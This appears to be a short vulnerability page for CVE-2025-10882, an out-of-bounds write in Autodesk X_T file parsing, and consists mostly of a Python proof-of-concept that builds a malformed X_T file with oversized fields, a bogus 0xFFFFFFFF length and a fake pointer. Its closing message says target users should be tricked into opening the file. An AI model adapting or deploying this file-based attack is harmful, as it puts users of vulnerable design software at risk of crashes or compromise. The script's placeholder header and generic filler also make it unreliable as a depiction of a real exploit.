CVE-2025-10882: Autodesk产品X_T文件解析越界写入漏洞

import struct import os def generate_malicious_xt_file(output_path): """ Generate a PoC X_T file to trigger CVE-2025-10882 Out-of-Bounds Write vulnerability in Autodesk products """ # X_T file header header = b'X_T_FILE_HEADER' # Malicious payload with oversized data fields # This triggers out-of-bounds write during parsing malicious_data = b'A' * 10000 # Oversized field causing buffer overflow # Construct malformed entity block entity_type = struct.pack('<I', 0x12345678) entity_length = struct.pack('<I', 0xFFFFFFFF) # Malformed length # Malicious pointer/offset values malicious_ptr = struct.pack('<Q', 0x4141414141414141) # Craft the full X_T content xt_content = header + malicious_data + entity_type + entity_length + malicious_ptr with open(output_path, 'wb') as f: f.write(xt_content) print(f"Malicious X_T file created: {output_path}") print("Target users should be tricked into opening this file with vulnerable Autodesk products") if __name__ == '__main__': output_file = 'CVE-2025-10882_poc.xt' generate_malicious_xt_file(output_file)